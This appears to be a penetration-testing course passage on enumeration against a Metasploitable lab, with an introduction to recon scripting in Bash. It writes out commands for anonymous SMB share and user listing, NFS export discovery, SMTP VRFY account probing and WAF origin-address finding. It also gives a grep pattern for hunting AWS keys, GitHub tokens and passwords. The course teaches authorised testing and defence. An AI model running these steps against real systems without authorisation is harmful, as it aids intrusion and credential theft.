WPScan automates this; Lesson 18 returns to it. Its vulnerability data needs an API token from an account, with 25 free requests a day when this was checked. Your lab has the same pattern without WordPress: Nikto's published scan of the image found a bundled change log, so curl -s 192.168.56.102/phpMyAdmin/ChangeLog | head -5 should tell you which phpMyAdmin you face. The fix is to remove bundled readme and change log files from production, keep plugins patched and remove unused ones.

Belbury - Public domain - Wikimedia Commons
Line 3: Server Message Block and Network File System shares
Mara ran smbclient from a jump box and read protocol negotiation failed: NT_STATUS_CONNECTION_DISCONNECTED (the status varies by version). She blamed the server. The fault was at her end. Server Message Block clients and servers agree on a version when they connect. Samba's documented default for its client is a floor of SMB2_02, and Metasploitable's Samba 3.0.20 speaks only the older SMB1 dialect, which Samba calls NT1. Her client refused to go that low, so the conversation ended before any share was mentioned.
Kali avoids this on purpose. Since Kali 2021.4 its Samba client ships in a Wide Compatibility mode that enables the legacy protocols, switchable in kali-tweaks to Strong Security. On any other client, or on a Kali you hardened, Samba's manual gives a per-command override: add --option='client min protocol=NT1'. Either way, a failure to negotiate tells you about two versions. It does not tell you about shares.
From stock Kali, share enumeration takes two commands. -L asks for the list and -N sends no password, a so-called null session:
smbclient -L //192.168.56.102 -N
enum4linux -S 192.168.56.102
Anonymous login successful
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
tmp Disk oh noes!
opt Disk
IPC$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian))
ADMIN$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian))
//192.168.56.102/print$ Mapping: DENIED Listing: N/A Writing: N/A
//192.168.56.102/tmp Mapping: OK Listing: OK Writing: N/A
//192.168.56.102/opt Mapping: DENIED Listing: N/A Writing: N/A
The top block comes from Rapid7's guide and the bottom from a published 2025 enum4linux run, both trimmed, with the address changed to yours. Sharename and Comment are the server's own words. Mapping means an anonymous connection succeeded, and Listing means the connection could read the directory. So you now know that anyone on this network can browse tmp without a login. Nmap's smb-enum-shares gives similar results and adds a useful point: even when listing is restricted, trying to connect to a share reveals whether it exists, so hiding the list does not hide the share.
enum4linux, written in Perl, is still in Kali at version 0.9.1; its Python rewrite, enum4linux-ng, is a separate install, and NetExec, the continuation of CrackMapExec, does this work at scale.
Unix shares use the Network File System (NFS). Your earlier scan showed rpcbind on 111 and NFS on 2049. Ask the portmapper what is registered, then ask for the export list:
rpcinfo -p 192.168.56.102
showmount -e 192.168.56.102
Export list for 192.168.56.102:
/ *
That last line is the most serious output in this lesson. The slash is the root of the file system and the star means any client. If showmount or rpcinfo is missing (they come from the nfs-common and rpcbind packages), sudo nmap --script nfs-showmount -p 111 192.168.56.102 reads the same list and is rated discovery and safe. Stop there. Reading the export list is enumeration; mounting it is the next step of an attack, and in this course the finding is the list.
Defenders can see anonymous logons, and on Windows, event 5140 records access to a network share when file share auditing is on. The fixes are specific. On Windows, turn on the policy that blocks anonymous enumeration of SAM accounts and shares. In Samba, set restrict anonymous = 2, disable SMB1 and require logins. For NFS, export only the directories that are needed, to named clients.

Samba Team - Public domain - Wikimedia Commons
Line 4: local users and email accounts
Mara read RFC 5321 correctly. It says a site that disables VRFY must answer 252, and 252 means the server cannot verify the user. Then she stopped, and that was the mistake: one reply is not a test. Add a control, a name that cannot exist:
nc -nv 192.168.56.102 25
220 metasploitable.localdomain ESMTP Postfix (Ubuntu)
VRFY msfadmin
252 2.0.0 msfadmin
VRFY nosuchuser7
550 5.1.1 <nosuchuser7>: Recipient address rejected: User unknown in local recipient table
QUIT
The difference is the finding. Postfix's source code shows why: VRFY runs the same recipient check as real mail, returns the error if the check fails, and otherwise answers 252. Reply code 250 is reserved for certainty, which Postfix never claims. When an administrator sets disable_vrfy_command = yes, every name gets 502 5.5.1 VRFY command is disabled. Read the three replies together:
| Replies | What they support |
|---|---|
| 252 for a real name, 550 for a made-up name | Valid accounts can be told apart: email account enumeration works here |
| 252 for every name | The server is not revealing anything through VRFY |
| 502 for every name | VRFY is off; RCPT TO during a mail session may still differ, so check that too |
The same flaw appears wherever an interface answers a real name differently from a fake one. OWASP's testing guide treats login pages this way, comparing error messages, response lengths, status codes and page titles. On a lab, smtp-user-enum or Nmap's smtp-enum-users automates the mail version. Postfix's documentation is candid about the limits of its switch, saying it stops some harvesting techniques. A burst of VRFY or RCPT commands for unknown names is what defenders watch for.
From outside the mail server, email addresses come from public sources, without touching the target. theHarvester collects them with hosts and names. Hunter.io's Domain Search returns an organization's address pattern and a confidence score for each address, as in this fictional sample:
"domain": "example.com",
"pattern": "{first}.{last}",
"emails": [ { "value": "jane.doe@example.com", "confidence": 92 } ]
Metadata adds names too. Photos carry EXIF (Exchangeable Image File Format) fields such as the camera's owner and GPS position. ExifTool reads those along with the author fields of office documents, which is the lab step you did in Lesson 6. Treat all of this as evidence about accounts, and keep it inside what the ROE allows for research on staff.
Local user enumeration means listing accounts on a host, and it has a remote and a local form. Remotely, Samba and older Windows configurations answer anonymous questions through two services. SAMR returns a full user list; LSA can translate numeric relative identifiers (RIDs) into names, so a tool walks through the numbers, a method called RID cycling that is extremely noisy. Run enum4linux -U 192.168.56.102 and expect lines like these from a published run:
index: 0x18 RID: 0xbb8 acb: 0x00000010 Account: msfadmin Name: msfadmin,,, Desc: (null)
index: 0x6 RID: 0xbba acb: 0x00000010 Account: user Name: just a user,111,, Desc: (null)
index: 0x8 RID: 0x3e8 acb: 0x00000011 Account: root Name: root Desc: (null)
RID 0xbb8 is 3000 in decimal. Add -P and the same run reports the password policy, with a minimum length of 5 and an account lockout threshold of None. Keep that in mind: it decides how risky any password test would be. On Windows versions after 2000, Nmap's documentation says these calls need at least a guest-level account, so the fix is to restrict anonymous access and keep the Guest account disabled.
Locally, it is one command. On Metasploitable's console, cut -d: -f1,3,7 /etc/passwd prints each account's name, numeric ID and login shell. Rapid7's guide shows the file's first lines (root:x:0:0:root:/root:/bin/bash), and that file is world-readable by design. On Windows, the equivalents are net user and PowerShell's Get-LocalUser.
Simple Network Management Protocol (SNMP) can give users away as well. A device's Management Information Base (MIB) is the tree of values it publishes. On an old Windows host with a guessable community string, Nmap's snmp-win32-users script reads the account list straight out of it. Published scans do not show SNMP open on your target, so that one is for recognition only.

Ale2006-from-en - CC BY-SA 3.0 - Wikimedia Commons

BuickCentury04 - Public domain - Wikimedia Commons
Line 5: permission enumeration, where N/A does not mean no
enum4linux printed Writing: N/A for tmp, and Mara wrote "not writable". Its help text explains the gap: write checks happen only in its aggressive mode. N/A means the tool did not try. Rapid7's guide describes tmp as a writable share, so her note was false. Testing write access changes something on the target, which on a client needs explicit permission in the ROE. In a report, the accurate entry is "listing confirmed; write access not tested".
Permission enumeration asks who can do what, and every system answers in its own vocabulary.
| Where | How you ask | What to read in the reply |
|---|---|---|
| SMB shares | enum4linux, Nmap's smb-enum-shares | Mapping and Listing; Anonymous access and Current user access lines |
| NFS exports | showmount -e | Which directories, for which clients; a star is everyone |
| Linux files and accounts | id, ls -l, sudo -l | Groups; mode bits such as -rw-r--r--; which commands sudo allows |
| Windows files and accounts | icacls, whoami /priv, Get-SmbShare | Access control entries; privileges held; shares defined |
| Active Directory | BloodHound (Lesson 10) | Who holds rights over whom, drawn as a graph |
| Cloud | IAM policy listings (Lesson 19) | Which identities can call which actions on which resources |
On Metasploitable's console, run id and ls -l /etc/passwd /etc/shadow. The first shows every group your account belongs to; read that list slowly, because a group can carry more than its name suggests. The second shows why account names are public while password hashes are not. Defenders rarely see local commands like these unless endpoint monitoring records them, so the control that matters is least privilege, reviewed on a schedule.

VectorVoyager - CC BY-SA 4.0 - Wikimedia Commons
Line 6: secrets enumeration by shape and by place
Mara searched one page for one word. Secrets enumeration looks for four kinds of credential the exam names, and each has its own shape and favorite hiding places. A secret rarely announces itself as "password", and web pages are seldom where it lives.
| Secret | What it looks like | Where it hides | Why a hit matters |
|---|---|---|---|
| Cloud access keys | AWS IDs begin AKIA (long-term) or ASIA (temporary), and work only with their secret half. AWS's documentation example is AKIAIOSFODNN7EXAMPLE | Credentials files, environment variables, build logs, code history | Direct access to whatever the key's permissions cover |
| Passwords | Assignments such as DB_PASSWORD= in a configuration file | Configuration files, scripts, shared drives, shell history | People reuse them, and service account passwords often go unchanged for years |
| API keys | Long random strings, often with a vendor prefix; GitHub classic tokens begin ghp_ | Front-end JavaScript, mobile apps, code repositories | They act as an application, often with no second factor |
| Session tokens | Cookie values such as PHPSESSID, or a JSON Web Token's three dot-separated parts | URLs, proxy and web logs, saved browser captures, browser storage | OWASP notes that a session ID temporarily equals the strongest login used to create it |
A single word misses most of this. Here is a fictional deployment file with the secrets replaced by placeholders, and the two searches run against it:
DB_HOST=db1.example.com
DB_PASSWORD=[secret removed]
AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
AWS_SECRET_ACCESS_KEY=[secret removed]
MAP_API_KEY = "[key removed]"
GITHUB_TOKEN=ghp_[token removed]
TIMEOUT=30
grep -ni password deploy.env (1 hit)
grep -nEi 'AKIA[0-9A-Z]{16}|ghp_|(pass|secret|api_?key|token)[a-z_]*[[:space:]]*[=:]' deploy.env (5 hits)
Tools such as TruffleHog (Lesson 11) go further: it classifies over 800 secret types and can report which ones it verified as live. That second feature deserves a pause. Checking a credential against its provider is using it, so it needs the same written permission as any other use.
In your lab, the robots.txt you read earlier pointed at config.inc, and Rapid7's guide says that file holds unencrypted database credentials. You can prove the exposure without putting a password into your notes, by asking for headers only:
curl -sI 192.168.56.102/mutillidae/config.inc
curl -sI 192.168.56.102/dvwa/login.php | grep -i set-cookie
A 200 status with a Content-Length on the first shows the file is served to anyone. The second shows how the session cookie is set: look for the Secure and HttpOnly attributes, and note whether they are missing.
That habit carries straight to client work: prove reachability, redact the value, record where and when you saw it, and escalate a live secret the same day, as Lesson 6 described. ATT&CK calls this family Unsecured Credentials (T1552, with T1552.001 for files).
Defenders can alert on reads of sensitive files, and cloud audit logs show any use of a key. The fixes are a secrets manager, short-lived credentials, secret scanning in the build pipeline, and rotation of anything exposed, because deleting it from the file does not undo the exposure.
Bottom line: a secret is evidence, and it stays evidence. Finding it is the test; using it is a separate act that needs its own written permission.
Line 7: web application firewall enumeration and the origin address
Nmap's http-waf-detect printed nothing, and on your lab that happens to be correct, since nothing filters Metasploitable's web server. Run it and see: sudo nmap --script http-waf-detect -p 80 192.168.56.102. The script sends a normal request, then requests holding malicious-looking strings, and compares the replies. Its own documentation warns that it cannot detect products that do not alter traffic. So silence means the replies did not change. It does not mean no filter exists, and on a client the difference matters.
A web application firewall (WAF) usually sits in front of a site as a reverse proxy, so its clues are in DNS and HTTP. You met the first in the fictional zone: www.example.com is a CNAME into a provider. Others are response headers such as Cloudflare's documented Cf-Ray, cookies set by the product, branded block pages, and a status that changes to 403 only when a request looks hostile:
HTTP/2 403
cf-ray: [ray id removed]
content-type: text/html
The purpose-built tool is wafw00f. It sends a normal request first and identifies the WAF from the reply if it can; failing that, it sends potentially malicious requests and reasons from how they are treated. That second stage means it needs ROE approval. It also needs a full URL and assumes HTTPS without a scheme, which your lab's plain web server does not speak, so NSE is the better fit here. Its report looks like this, on a fictional site:
[*] Checking https://www.example.com
[+] The site https://www.example.com is behind Cloudflare (Cloudflare Inc.) WAF.
[~] Number of requests: 2
[*] Checking https://portal.example.com
[+] Generic Detection results:
[-] No WAF detected by the generic detection
[~] Number of requests: 7
Testers enumerate WAFs for two reasons. A filter explains odd results, such as a scan full of 403s, that would otherwise be misread as real behavior. And it raises the exam's specific question: where is the origin address, the real server the WAF forwards to? A WAF protects only the traffic that passes through it. If the origin answers direct connections, requests can skip the product entirely. In 2015, Vissers and colleagues tested 17,877 sites behind cloud security providers and found that 71.5% exposed their origin through at least one of eight routes. Subdomains and historical DNS records each exposed more than 40%.
| Where an origin leaks | Why it happens | Fix |
|---|---|---|
| Historical DNS records | Passive DNS services remember the address from before the WAF was added | Get a new address when onboarding |
| Unprotected subdomains | ftp. or dev. point straight at the same server | Proxy them, or move them elsewhere |
| Other DNS records | MX and SPF TXT records list the server | Audit DNS-only records; host mail separately |
| Temporary exposure | The service was paused for a while and DNS showed the real address | Change the address after any such exposure |
| TLS certificates | Internet-wide scans index the certificate on the origin's own address | Firewall the origin so scanners cannot fetch it |
| Sensitive files and page content | Debug pages or HTML include the address | Remove them |
| Outbound connections | The server connects out, for instance to verify a pingback, using its real address | Turn off features that fetch URLs on request |
Read the fictional zone again. ftp.example.com and the SPF record both give 198.51.100.7, while www goes through the WAF. That address is a candidate. Record it, with the two records as evidence.
Sending it traffic to confirm the theory goes around a control the client paid for, and it may not even be in your scope, so ask first. This lesson stops at identification: recognizing the exposure, reporting it and knowing the fix.
The paper and Cloudflare's own guidance agree on the first fix: a firewall at the origin that accepts connections only from the WAF's published ranges, plus a new address after onboarding. Cloudflare adds authenticated origin pulls or a tunnel with no public address at all, and notes that an allowlist alone is not proof against spoofing.

H2g2bob - CC0 - Wikimedia Commons
The corrected notes, and attack path mapping
Here are Mara's notes again, rewritten from the evidence.
| Line | What she should have written |
|---|---|
| 1 DNS | BIND 9.4.2 answers on 53 with its version; recursion appears on; no client zone present, as checked on the console |
| 2 Web | Five linked apps; unlinked /phpinfo.php and /test/; Mutillidae's robots.txt names passwords/ and config.inc |
| 3 Shares | Null session lists five SMB shares and tmp is browsable; NFS exports / to any client |
| 4 Users | VRFY separates real from fake names; anonymous SMB returns the account list; lockout threshold None |
| 5 Perms | Write access to tmp not tested; / exported to *; rights of msfadmin recorded |
| 6 Secrets | config.inc returns 200 to anyone, value not retrieved; session cookie attributes recorded |
| 7 WAF | No change between normal and hostile requests, so no WAF detected on port 80 |
That is no longer a list of closed doors. Attack path mapping connects enumeration results into possible routes from where you stand to what the client cares about, so that the next phase tests the links that matter instead of everything. Each result becomes a node, and each possible move between results an edge. Here is a fictional map for a fictional client, whose ROE names a payroll database as a high-value asset:
| Link | Evidence so far | Still unproven | What the ROE must say |
|---|---|---|---|
| Unauthenticated network position to the share list on a file server | Null session output | Whether files can be read | Whether read-only browsing is allowed |
| Readable share to a configuration file naming a service account | File name and key name, with the value redacted | Whether the credential is live | Written permission before any use |
| Service account to reporting access on the payroll database | A permission listing | Whether that path is reachable from the test network | A named test case, or stop and report |
Every row is a question, and none of it has been done. That is what makes the map useful: the client can see why a low-severity share listing matters, and you can see where to ask for permission. In Active Directory, BloodHound builds this kind of graph automatically, using graph theory to reveal relationships nobody intended (Lesson 10). Lesson 14 turns a map like this into a prioritized plan.
Bottom line: a finding that looks minor alone can be one link in a route to something important. Map it before you rate it.
The whole family at a glance
| Technique | Weakness it relies on | Tools | What defenders see | Fix |
|---|---|---|---|---|
| DNS enumeration (T1590.002) | Unrestricted AXFR; public or stale names | dig, nslookup, dnsrecon, Amass, DNSdumpster | AXFR from a non-secondary; bursts of failed lookups | allow-transfer with TSIG; remove stale names |
| Directory enumeration (T1595.003) | Unlinked content is still served | Gobuster, dirb | Floods of 404s from one client | Remove it; deny by default; authenticate admin paths |
| Web crawling | Pages describe the application's structure | ZAP Spider, Burp Suite | Fast, thorough browsing | Do not link what should not be public; require login |
| Manual enumeration | Metadata lists paths and versions | curl, a browser, WPScan | A few ordinary requests | Real access control; remove bundled files; patch plugins |
| Share enumeration (T1135) | Anonymous sessions; broad exports | smbclient, enum4linux, showmount, NSE | Anonymous logons; event 5140 on Windows | Restrict anonymous; disable SMB1; export to named clients |
| Local user enumeration (T1087.001) | SAMR, LSA or SNMP answer anonymously; /etc/passwd is readable | enum4linux, NSE, net user, Get-LocalUser | RID sequences; noisy LSA lookups | Restrict anonymous; disable or lock down SNMP |
| Email account enumeration (T1087.003, T1589.002) | Public addresses; replies differ for real names | theHarvester, Hunter.io, VRFY, smtp-user-enum | VRFY or RCPT bursts; nothing for OSINT | Disable VRFY; identical replies; rate limits |
| Permission enumeration (T1069) | Rights granted and never reviewed | id, sudo -l, icacls, whoami /priv, BloodHound | Little, unless endpoints log commands | Least privilege, reviewed on a schedule |
| Secrets enumeration (T1552) | Credentials stored in readable places | grep, TruffleHog, a proxy for tokens | File reads; audit logs if a key is used | Secrets manager; short-lived keys; rotate anything exposed |
| WAF enumeration | Products show in DNS and HTTP; the origin answers directly | wafw00f, http-waf-detect, http-waf-fingerprint | Blocked probes in WAF logs | Firewall the origin to WAF ranges; new address after onboarding |
What the exam asks, and the pairs people confuse
| The stem says | It points to | Do not confuse it with |
|---|---|---|
| One request to a name server returned every record | Zone transfer (AXFR); fix with allow-transfer | Reverse sweep: one PTR per address |
| Primary server, administrator mailbox, serial number | SOA record | NS, which only names the servers |
| One name is an alias of another | CNAME | A, which gives an address |
| Find pages nothing links to | Directory enumeration with a wordlist | Web crawling, which follows links |
| Every word returned 200 with the same length | Soft 404; filter on length | A server full of real paths |
| Paths the site asks crawlers to skip | robots.txt | Sitemap, which lists pages it wants found |
| List shares without credentials | Null session, smbclient -L -N, enum4linux | rpcinfo -p, which lists RPC services |
| What does this Unix host share? | showmount -e | Mounting, which is a further step |
| Is this name valid on the mail server? | VRFY or RCPT replies compared with a control | Hunter.io, which never touches the server |
| A key beginning AKIA | AWS long-term access key | ASIA, a temporary key |
| The real server behind a WAF or CDN | Origin address | The provider's edge address that DNS returns |
| Linking results into a route to an important asset | Attack path mapping; BloodHound in Active Directory | Vulnerability scanning, which finds flaws one at a time |
How enumeration findings are reported
Most enumeration output is supporting evidence, and some of it is a finding in its own right. Here is the entry for the worst line in your lab, written as you would for a client.
- Title: NFS export gives any host read access to the server's entire file system.
- Severity: High. No credentials are needed and the export covers everything on the host, including configuration files and credential stores. It is not rated Critical because the attacker needs a position on the internal network, and write access was not tested under the ROE.
- Evidence:
showmount -e 192.168.56.102on the stated date, from 192.168.56.101, returned/ *. Export not mounted; no files read. - Root cause: the server's export configuration publishes the root directory to all clients, and no firewall limits ports 111 and 2049.
- Remediation: remove the export of /; export only the directories needed, to named clients, with root squashing on; firewall the NFS ports to those clients; confirm that
showmount -eno longer shows / or a star.
As starting judgments that the client's context can change: an unrestricted zone transfer is usually Medium, more if it reveals internal names. Anonymous user listing and SMTP user enumeration are Medium or Low, rising with no account lockout. A robots.txt entry is Informational until the listed path turns out to be reachable, when it takes the severity of what it exposes. An exposed origin takes its severity from what the WAF was protecting.
A live credential is reported through the escalation path the same day, whatever else happens. Lesson 14 explains how scoring systems formalize these judgments.
Keep unknowns visible too: "write access not tested" and "origin candidate not confirmed, per ROE" belong in the report's limitations.
Common misconceptions
- "No output means nothing is there." A tool's silence can mean it asked the wrong server, lacked the word, could not negotiate a version or did not test. Check what was actually asked.
- "robots.txt protects the paths it lists." It asks polite crawlers to stay away and advertises the paths to everyone else. RFC 9309 says it is not access authorization.
- "A 252 reply to VRFY means the server cannot verify anyone." On Postfix, a name that fails the recipient check gets 550, so a 252 plus a 550 for a control name lists accounts.
- "A WAF makes the application safe." It filters only traffic that passes through it. An origin that answers directly can be reached without it.
- "Finding a credential entitles you to try it." Using it is a separate act that needs written permission, and that includes automatic verification by a scanner.
The takeaway
dig @server name typeasks that server; without the @, dig asks your default resolver, so a timeout there says nothing about the target.- A zone transfer (AXFR) copies a whole zone between SOA records; BIND allowed it by default until 9.20, and the fix is
allow-transferlimited to named secondaries. - A wordlist finds only what it lists, and a crawler only what is linked: Kali's common.txt, about 4,600 entries long, lacks dvwa and mutillidae, and the lab's home page does not link /phpinfo.php.
- robots.txt lists paths crawlers should skip and is not access control; a sitemap lists pages the owner wants found; a plugin's readme can name its exact version.
- A failed SMB negotiation can be the client's floor: Samba's default is SMB2_02, Metasploitable's 3.0.20 speaks NT1, and Kali enables legacy dialects by default since 2021.4.
showmount -eprinting/ *means the root of the file system is exported to any client; the finding is the list, and no mount is needed to report it.- On Postfix, VRFY answers 252 for names that pass the recipient check, 550 for unknown names and 502 when disabled, so always send a control name.
- Secrets have shapes and habitats: AKIA and ASIA keys, ghp_ tokens, session cookies in logs and URLs. Prove reachability with headers, redact the value, and never use it without written permission.
- No WAF signal is not proof of no WAF, and in a 2015 study 71.5% of 17,877 protected sites exposed their origin; the first fix is an origin firewall that accepts only the WAF's address ranges.
Sources
- Rapid7. (n.d.). Metasploitable 2 exploitability guide (used only for the services list, the rpcinfo, showmount and smbclient listings, and the file descriptions). docs.rapid7.com. Published lab records used only for expected output (secondary sources): Nmap service scan; Nmap UDP scan; Nikto scan; enum4linux run; SMTP banner and VRFY reply
- OWASP. (n.d.). Web security testing guide: Review webserver metafiles for information leakage; Attack surface identification; Testing for account enumeration and guessable user account. metafiles; attack surface; account enumeration
- Internet Systems Consortium. (n.d.). BIND 9 administrator reference manual: dig and nslookup manual pages; allow-transfer and version options; and Notes for BIND 9.20.0. manual pages; reference; issue 4728. Lewis, E., and Hoenes, A. (2010). DNS zone transfer protocol (AXFR) (RFC 5936); Hoffman, P., and Fujiwara, K. (2024). DNS terminology (RFC 9499); Abley, J., Gudmundsson, O., Majkowski, M., and Hunt, E. (2019). Providing minimal-sized responses to DNS queries that have QTYPE=ANY (RFC 8482). RFC 5936; RFC 9499; RFC 8482
- Samba Team. (n.d.). smb.conf(5) (client min protocol; restrict anonymous) and smbclient(1). smb.conf; smbclient. OffSec. (2025). Samba configuration; and Kali tool pages for enum4linux, gobuster and amass. kali.org (Samba); enum4linux; amass. Lyon, G. (n.d.). NSE documentation: smb-enum-shares; smb-enum-users; http-waf-detect; snmp-win32-users
- Klensin, J. (2008). Simple mail transfer protocol (RFC 5321), sections 3.5 and 7.3. rfc-editor.org. Venema, W. (n.d.). Postfix configuration parameters (disable_vrfy_command), and vrfy_cmd in the source file smtpd.c. postfix.org; smtpd.c
- Koster, M., Illyes, G., Zeller, H., and Sassman, L. (2022). Robots exclusion protocol (RFC 9309). rfc-editor.org. Sitemaps.org. (n.d.). Sitemaps XML format. sitemaps.org. Tool documentation: Gobuster; ZAP Spider; WPScan; Amass; theHarvester; Hunter; DNSdumpster
- Vissers, T., Van Goethem, T., Joosen, W., and Nikiforakis, N. (2015). Maneuvering around clouds: Bypassing cloud-based security providers. Proceedings of the 22nd ACM SIGSAC Conference on Computer and Communications Security, 1530-1541. securitee.org (PDF). Cloudflare. (n.d.). Protect your origin server and Cloudflare HTTP headers. origin; headers. Enable Security. (n.d.). WAFW00F. github.com
- Amazon Web Services. (n.d.). IAM identifiers (unique ID prefixes). docs.aws.amazon.com. GitHub. (n.d.). About authentication to GitHub (token formats). docs.github.com. OWASP. (n.d.). Session management cheat sheet. cheatsheetseries.owasp.org. MITRE. (n.d.). ATT&CK: T1552.001; T1135; T1087; T1595.003
- Key terms
- DNS zone transfer
- An AXFR request that copies an entire DNS zone from an authoritative name server, meant for secondary servers and dangerous when anyone may ask.
- Fully qualified domain name
- A complete DNS name with every label up to the root, such as vpn.example.com., abbreviated FQDN.
- Web crawler
- A program that fetches a page, extracts its links, visits them and repeats, mapping what a site itself points to.
- Robots.txt
- A file at a site's root asking crawlers to skip listed paths; it is not access control and can reveal the paths it names.
- Sitemaps
- An XML format listing the pages a site owner wants search engines to find, often with last-modified dates.
- Server Message Block
- The file-sharing protocol used by Windows and Samba, whose clients and servers negotiate a dialect when they connect.
- Network File System
- The Unix file-sharing protocol, abbreviated NFS; showmount -e lists what a server exports and to which clients.
- Web application firewall
- A filter, abbreviated WAF, that sits in front of a web application and inspects HTTP traffic, usually as a reverse proxy.
- Origin address
- The real IP address of a server behind a WAF or CDN; if it answers direct connections, traffic can skip the filter.
- Attack path mapping
- Connecting enumeration results into possible routes from the tester's position to a high-value asset, marking the evidence and the unproven part of each link.
Making the Machine Do the Reading: Modifying Bash, Python, and PowerShell for Recon
- Read a short Bash, Python or PowerShell script and predict what it does, including what it silently fails to do.
- Modify scripts for information gathering and data manipulation using loops, conditionals, and Boolean, string and arithmetic operators.
- Use libraries, functions and classes to scrape HTML, check scope, parse Nmap XML and write CSV.
- Keep scripted reconnaissance inside the scope and report its results so that someone else can reproduce them.
Nine lines, one open port, and no output
Metasploitable's port 445 is open; you proved that in Lesson 7. So when a colleague's nine-line script, meant to list every host answering on 445, runs against your lab and prints nothing, the script is what's broken. Here it is, with a hosts.txt holding the single line 192.168.56.102.
#!/bin/bash
# smbcheck.sh: which hosts answer on port 445?
for host in $(cat hosts.txt)
do
result=$(nc -z -w 1 $host 445)
if [ "$result" == "open" ]; then
echo "$host has SMB"
fi
done
Take a minute before reading on. What goes in, what repeats, what decides, and what comes out? Which line would you change?
That is the skill this objective tests. Its verb is "modify", not "write", and the verb tells you what to expect: a scenario, a short script and a result that misses the goal, with your job being to find the line to change. So this lesson works through three broken or limited scripts, one each in Bash, Python and PowerShell, all against your own lab, and only then lines the constructs up in one table.
Exam objectives: 2.3 (modifying scripts for information gathering and data manipulation in Bash, Python and PowerShell; logic constructs, meaning loops, conditionals, and Boolean, string and arithmetic operators; use of libraries, functions and classes).
Before you run anything
Testing a system without its owner's written permission is illegal and wrong, under the US Computer Fraud and Abuse Act, the UK Computer Misuse Act and similar laws elsewhere. A script changes nothing about that, except to make a mistake faster: one typo in a loop can touch 254 addresses before you look up. Every script here runs against 192.168.56.x or 127.0.0.1, and each one you keep gets a scope check, which you will add yourself.
Two habits come before any code. Read a script you inherit before you run it, because it runs with your rights. And keep the rate inside the ROE: a client may cap probes per second, and a loop has no idea.
Everything runs on Kali with the NAT adapter not attached. Bash and python3 are there, and Kali's default image includes PowerShell 7 as pwsh. That package is built for amd64 only, so on an Arm VM, read the PowerShell section and trace it by hand. Make a working folder with mkdir ~/lab9 && cd ~/lab9.
Reading Bash: loops and exit status
Apply the four questions. In: a file of addresses. Repeats: the for loop, which runs its body once for each word that $(cat hosts.txt) produces. Decides: the if. Out: one echo per hit. That shape is sound, so look at what the decision tests. It compares $result with the word open. Now run the connection by hand:
$ nc -z -w 1 192.168.56.102 445
$ echo $?
0
$ nc -z -w 1 192.168.56.102 8888
$ echo $?
1
The -z option is zero-I/O mode: connect, send nothing, close. -w 1 gives up after a second. Without a verbose flag, nc prints nothing, so $(...) captures an empty string and the comparison can never be true. The answer comes back another way, as the exit status, the number every program returns when it ends, which Bash keeps in $?. Bash's manual is explicit that zero indicates success and anything else failure. That is backward from most languages, where zero means false, and it makes sense once you see that a program has one way to succeed and many ways to fail.
Bash's if was built for this. It runs a command and branches on the exit status; the square brackets are just one such command. So the modification is one line, and the variable goes away:
#!/bin/bash
# smbcheck.sh: which hosts answer on port 445?
for host in $(cat hosts.txt)
do
if nc -z -w 1 "$host" 445; then
echo "$host has SMB"
fi
done
Run it and you get 192.168.56.102 has SMB. The double quotes around "$host" stop a stray space or star in the variable from being split or expanded. You will also meet while read -r host loops, the tidier way to read a file line by line. They carry one trap: a program inside the loop, and some versions of nc are among them, can read the loop's input and swallow the rest of your list. If a script stops after the first host, add < /dev/null to that program.
The point: a script can be neatly structured and still test the wrong thing. Run each command once by hand and ask what it produces, both on its output and in its exit status.

P. Kemp - CC0 - Wikimedia Commons
Conditionals, Boolean and string operators: adding a scope check
The repaired script has two limits that matter on a real job. Its port is fixed, and it will connect to anything in the file. If a stray address slips into a client's list, you have just tested someone else's system. So take the inputs from the command line and refuse anything outside your scope. This is portcheck.sh:
#!/bin/bash
# portcheck.sh FILE PORT: which in-scope hosts in FILE answer on PORT?
file=$1
port=$2
if [[ -z "$file" || -z "$port" ]]; then
echo "usage: portcheck.sh FILE PORT"
exit 1
fi
checked=0
open=0
for host in $(cat "$file")
do
if [[ "$host" != 192.168.56.* && "$host" != "127.0.0.1" ]]; then
echo "REFUSED $host: outside scope"
continue
fi
checked=$((checked + 1))
if nc -z -w 1 "$host" "$port"; then
echo "$host,$port,open"
open=$((open + 1))
fi
sleep 0.5
done
if (( checked > 0 )); then
echo "open on $open of $checked hosts ($((open * 100 / checked))%)"
fi
Now change one input. Put three lines in hosts2.txt: 192.168.56.102, 203.0.113.5 (a documentation address standing in for a stray) and 192.168.56.101. On port 445:
$ bash portcheck.sh hosts2.txt 445
192.168.56.102,445,open
REFUSED 203.0.113.5: outside scope
open on 1 of 2 hosts (50%)
The stray address never received a packet. Read how that happened, because each piece is an exam term.
- Command-line arguments.
$1and$2are what you typed after the script's name at the command-line interface (CLI). Inputs that come from the CLI let you reuse a script without editing it. - Conditionals.
if ... then ... fichooses;continuejumps to the next pass of the loop;exit 1ends the script and reports failure through the same exit status mechanism. - Boolean operators. Inside
[[ ]],||means or and&&means and. Both conditions must hold before the address is refused. They work between commands too:cmd1 && cmd2runs the second only if the first succeeded, andcmd1 || cmd2only if it failed. A single|is something else, a pipe. - String operators.
-zis true for an empty string and-nfor a non-empty one. Inside[[ ]],==and!=treat an unquoted right side as a pattern, so192.168.56.*matches the whole lab. Put quotes around it and the star becomes a literal star, which is why"127.0.0.1"can be quoted and the pattern cannot.=~matches a regular expression.
Bash can also cut strings without any outside tool. With ip=192.168.56.102, ${ip%.*} gives 192.168.56 by removing the shortest match from the end, ${ip##*.} gives 102 by removing the longest match from the start, and ${#ip} gives the length, 14. Those are handy when a loop needs the network prefix or the last octet.

P. Kemp - CC0 - Wikimedia Commons

Watchduck - Public domain - Wikimedia Commons
Arithmetic operators: counting, percentages and pacing
Three lines of that script do arithmetic. Bash does it inside $(( )), and only with integers: the fraction is thrown away. So the order of operations can flip your answer.
$ echo $((1 / 3 * 100))
0
$ echo $((1 * 100 / 3))
33
The first divides first, gets 0, and stays there. That is why the script multiplies before it divides. The same operators give you subnet sizes, since $(( 2 ** (32 - 24) - 2 )) prints 254, and progress lines, since (( checked % 50 == 0 )) is true on every fiftieth pass (% is the remainder after division).
Arithmetic also keeps you honest about the ROE. Suppose it caps you at two connections per second, and you have 254 hosts and three ports. That is 254 x 3 = 762 connections, and at the 0.5-second pause in the loop, 381 seconds at the very least. Hosts that time out add a second each. Do this sum before you start, so that "the scan will finish by noon" is a calculation rather than a hope.
